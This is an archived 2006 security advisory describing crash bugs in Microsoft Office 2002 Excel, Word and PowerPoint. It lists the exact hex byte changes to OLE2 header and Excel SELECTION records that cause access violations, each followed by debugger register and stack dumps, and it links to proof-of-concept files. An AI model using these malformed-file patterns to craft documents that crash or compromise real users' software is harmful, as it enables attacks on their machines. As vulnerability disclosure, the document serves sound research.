# Full archive at https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/1615.rar (excel_03262006.rar)

Topic      : Microsoft Office 2002 - Excel/Powerpoint/Word.. 10.0.2614.0 => 11.0.5612.0
Date       : 02/12/2006
Author     : posidron <posidron@tripbit.net>


Table of Contens
================
- Some Excel Information
- The XLS File Format and Observation
- The XLW File Format and Observation
- Powerpoint and Word Dump Additions
- Conclusion
- References


Some Excel Information
======================
- Microsoft Excel uses the BIFF (Binary Interchange File Format)
- in Excel 8.0 (Excel 97), BIFF8 was introduced
- in Excel 10.0 (Excel XP), BIFF8X was introduced
- Excel 97 and Excel 2000 can read BIFF8X, except new features added with Excel XP.

Since BIFF5, all data is saved in OLE2 Storage Format/Structured Storage, which
can contain streams and storages.


A BIFF record is builded as follows:

   Offset 	Size 	Contents
        0          2    Identifier                              }
        2          2    Size of the following data (sz)         } Record header
        4 	  sz 	Data



The XLS File Format
===================
If we open an Excel .xls workbook document with a hexeditor, we can see the
below block of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xls
--------
Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15
00001200   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00001210   00 00 00 00 00 00 00 00  01 00 00 00 E0 85 9F F2   ............à..ò
00001220   F9 4F 68 10 AB 91 08 00  2B 27 B3 D9 30 00 00 00   ùOh.«...+'³Ù0...
00001230   B0 00 00 00 07 00 00 00  01 00 00 00 40 00 00 00   °...........@...
00001240   04 00 00 00 48 00 00 00  08 00 00 00 60 00 00 00   ....H.......`...

If we change the second line from
00001210   00 00 00 00 00 00 00 00  01 00 00 00 E0 85 9F F2   ............à..ò
to
00001210   00 00 00 00 00 00 00 00  FF FF FF FF E0 85 9F F2   ............à..ò
we get an 'Access Violation' in OLE32.DLL after opening the dcument in Excel.

(ole32.dll)
774D66B6   8B73 0C          MOV ESI,DWORD PTR DS:[EBX+C]
774D66B9   8B4D 10          MOV ECX,DWORD PTR SS:[EBP+10]
774D66BC   8B7D 0C          MOV EDI,DWORD PTR SS:[EBP+C]
774D66BF   03F0             ADD ESI,EAX
774D66C1   8BC1             MOV EAX,ECX
774D66C3   C1E9 02          SHR ECX,2
774D66C6   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  <==

ECX=00000369 (decimal 873.)
DS:[ESI]=[001B24F4]=00000000
ES:[EDI]=[00924000]=???

ESP ==>  0013786C    00923AE0
EBP-8    00137870    00923AE4
EBP-4    00137874    00923ADC
EBP ==>  00137878   /001378AC
EBP+4    0013787C   |30C12D83  RETURN to mso.30C12D83
EBP+8    00137880   |001B32A8
EBP+C    00137884   |00923DC0
EBP+10   00137888   |00000FE4

EAX 00000FE4
ECX 00000369
EDX 00150608
EBX 001AE948
ESP 0013786C
EBP 00137878
ESI 001B24F4
EDI 00924000
EIP 774D66C6 OLE32.774D66C6

We found this block of records two times in an empty Excel document. I haven't
found an exact explanation about these records. It could be, that the record
FFFE defines the sheet range. More in the OpenOffice reference link on site 100.




The XLW File Format
===================
If we open an Excel .xlw Workbook document with a hexeditor, we can see the
below sequence of records, which exists multiple times within an Excel document.

(Offsets are hexadecimal)

orig.xlw
--------
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00000110   38 00 04 00 01 00 10 00  3D 00 0A 00 68 01 87 00   8.......=...h...
00000120   8C 28 8D 18 04 00 3E 02  0A 00 B6 00 00 00 00 00   .(...>...¶.....
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 01   ................
00000140   00 00 00 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
00000150   00 64 00 0F 00 02 00 01  00 11 00 02 00 00 00 10   .d..............

If we change the third and fourth line from
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 01   ................
00000140   00 00 00 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
to
00000130   00 00 00 00 1D 00 0F 00  03 00 00 00 00 00 00 FF   ................
00000140   FF FF FF 00 00 00 00 0D  00 02 00 01 00 0C 00 02   ................
we got an 'Access Violation' in excel.exe after opening the ducument in Excel.


Examine dump at offset: 00000110+8

    WINDOW1   | 04 Bytes | 3D 00 0A 00
    WINDOW1   | 10 Bytes | 68 01 87 00 8C 28 8D 18 04 00
    WINDOW1   | 04 Bytes | 3E 02 0A 00
    WINDOW2   | 10 Bytes | B6 00 00 00 00 00 00 00 00 00
    SELECTION | 04 Bytes | 1D 00 0F 00
    SELECTION | 15 Bytes | 03 00 00 00 00 00 00 01 00 00 00 00 00 00 00

About the SELECTION record (00 1D):

    Offset  Size 	Contents
         0     1 	Pane identifier
         1     2 	Index to row of the active cell
         3     2 	Index to column of the active cell
         5     2        Index into the following cell range list
                        to the entry that contains the active cell
         7     variable Cell range address list containing all selected
                        cell ranges. Column indexes are always 8-bit values.

    This record contains the addresses of all selected cell ranges and the
    position of the active cell for a pane in current sheet. It is part of
    the "Sheet View Settings Block". There is one SELECTION record for each
    pane in the sheet.


excel.exe
---------
30028546   C2 0800          RETN 8
30028549   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]
3002854D   8B15 484E7D30    MOV EDX,DWORD PTR DS:[307D4E48]
30028553   56               PUSH ESI
30028554   57               PUSH EDI
30028555   66:8B40 06       MOV AX,WORD PTR DS:[EAX+6]             <==
30028559   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]
3002855D   25 FF0F0000      AND EAX,0FFF
30028562   8D0C40           LEA ECX,DWORD PTR DS:[EAX+EAX*2]
30028565   8B42 10          MOV EAX,DWORD PTR DS:[EDX+10]
30028568   8D34C8           LEA ESI,DWORD PTR DS:[EAX+ECX*8]
3002856B   B9 05000000      MOV ECX,5
30028570   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
30028572   5F               POP EDI
30028573   5E               POP ESI
30028574   C2 0800          RETN 8

DS:[01642A72]=???
AX=2A6C

EAX 01642A6C
ECX 00000015
EDX 015C15DC
EBX 00000001
ESP 00136964
EBP 00136B00
ESI 00007979
EDI 00000000
EIP 30028555 EXCEL.30028555

ESP ==>  00136964     00000000
ESP+4    00136968     00007979
ESP+8    0013696C     30027795  RETURN to EXCEL.30027795 from EXCEL.30028549
ESP+C    00136970     01642A6C
ESP+10   00136974     001369A4
ESP+14   00136978     00000001
ESP+18   0013697C     00000000
ESP+1C   00136980     00000000
ESP+20   00136984     77D1BC7D  USER32.GetWindow
ESP+24   00136988     00AB0208
ESP+28   0013698C     00000000
ESP+2C   00136990     7FFDF000
ESP+30   00136994     00000058
ESP+34   00136998     00000053
ESP+38   0013699C     0000059B
ESP+3C   001369A0     00000023
ESP+40   001369A4     001369CC
ESP+44   001369A8     77D4F160  RETURN to USER32.77D4F160 from USER32.77D318A2
ESP+48   001369AC     00040000
ESP+4C   001369B0     00000000
ESP+50   001369B4     77EF7AB2  RETURN to GDI32.77EF7AB2


In the SELECTION record, it's regardless which offset address we overwrite
to produce an exception. If we play with the values/offsets in the SELECTION
record, we get many different results.


Another example:

    SELECTION | 04 Bytes | 1D 00 0F 00
    SELECTION | 15 Bytes | 03 00 00 00 00 00 00 FF FF FF FF FF FF 00 00


(mso.dll)
30B1BCEA   66:8955 00       MOV WORD PTR SS:[EBP],DX
30B1BCEE   66:8975 02       MOV WORD PTR SS:[EBP+2],SI
30B1BCF2   66:892F          MOV WORD PTR DS:[EDI],BP
30B1BCF5   66:897428 FE     MOV WORD PTR DS:[EAX+EBP-2],SI    <==
30B1BCFA   8B4424 18        MOV EAX,DWORD PTR SS:[ESP+18]
30B1BCFE   5B               POP EBX

EAX 00006F24
ECX 00006000
EDX 00000DDC
EBX 000007ED
ESP 0013FCF4
EBP 015C0DE0
ESI 00006F24
EDI 015C0000
EIP 30B1BCF5 mso.30B1BCF5

SI=6F24
DS:[015C7D02]=???

ESP ==>  0013FCF4    00000000
ESP+4    0013FCF8    00000000
ESP+8    0013FCFC    30B1BBB0  mso.__MsoPvFree@8



For the completeness Powerpoint and Word which have the same structure as in
the .xls file format.

Microsoft Word
--------------
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00002400   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00002410   00 00 00 00 00 00 00 00  01 00 00 00 E0 85 9F F2   ............à..ò
00002420   F9 4F 68 10 AB 91 08 00  2B 27 B3 D9 30 00 00 00   ùOh.«...+'³Ù0...
to
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00002400   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00002410   00 00 00 00 00 00 00 00  FF FF FF FF E0 85 9F F2   ............à..ò
00002420   F9 4F 68 10 AB 91 08 00  2B 27 B3 D9 30 00 00 00   ùOh.«...+'³Ù0...
Results in an 'Access Violation'.

AppName: winword.exe	 AppVer: 10.0.2627.0	 ModName: mso.dll
ModVer: 10.0.2625.0	 Offset: 0001b411


Microsoft Powerpoint
--------------------
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00001A00   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00001A10   00 00 00 00 00 00 00 00  01 00 00 00 02 D5 CD D5   .............ÕÍÕ
00001A20   9C 2E 1B 10 93 97 08 00  2B 2C F9 AE 30 00 00 00   ........+,ù®0...
to
00001A00   FE FF 00 00 05 01 02 00  00 00 00 00 00 00 00 00   þÿ..............
00001A10   00 00 00 00 00 00 00 00  FF FF FF FF 02 D5 CD D5   .............ÕÍÕ
00001A20   9C 2E 1B 10 93 97 08 00  2B 2C F9 AE 30 00 00 00   ........+,ù®0...
Results in an 'Access Violation'.

AppName: powerpnt.exe	 AppVer: 10.0.2623.0	 ModName: mso.dll
ModVer: 10.0.2625.0	 Offset: 0011300d



References
----------
Excel File Format Structure (http://sc.openoffice.org/excelfileformat.pdf)

# milw0rm.com [2006-03-27]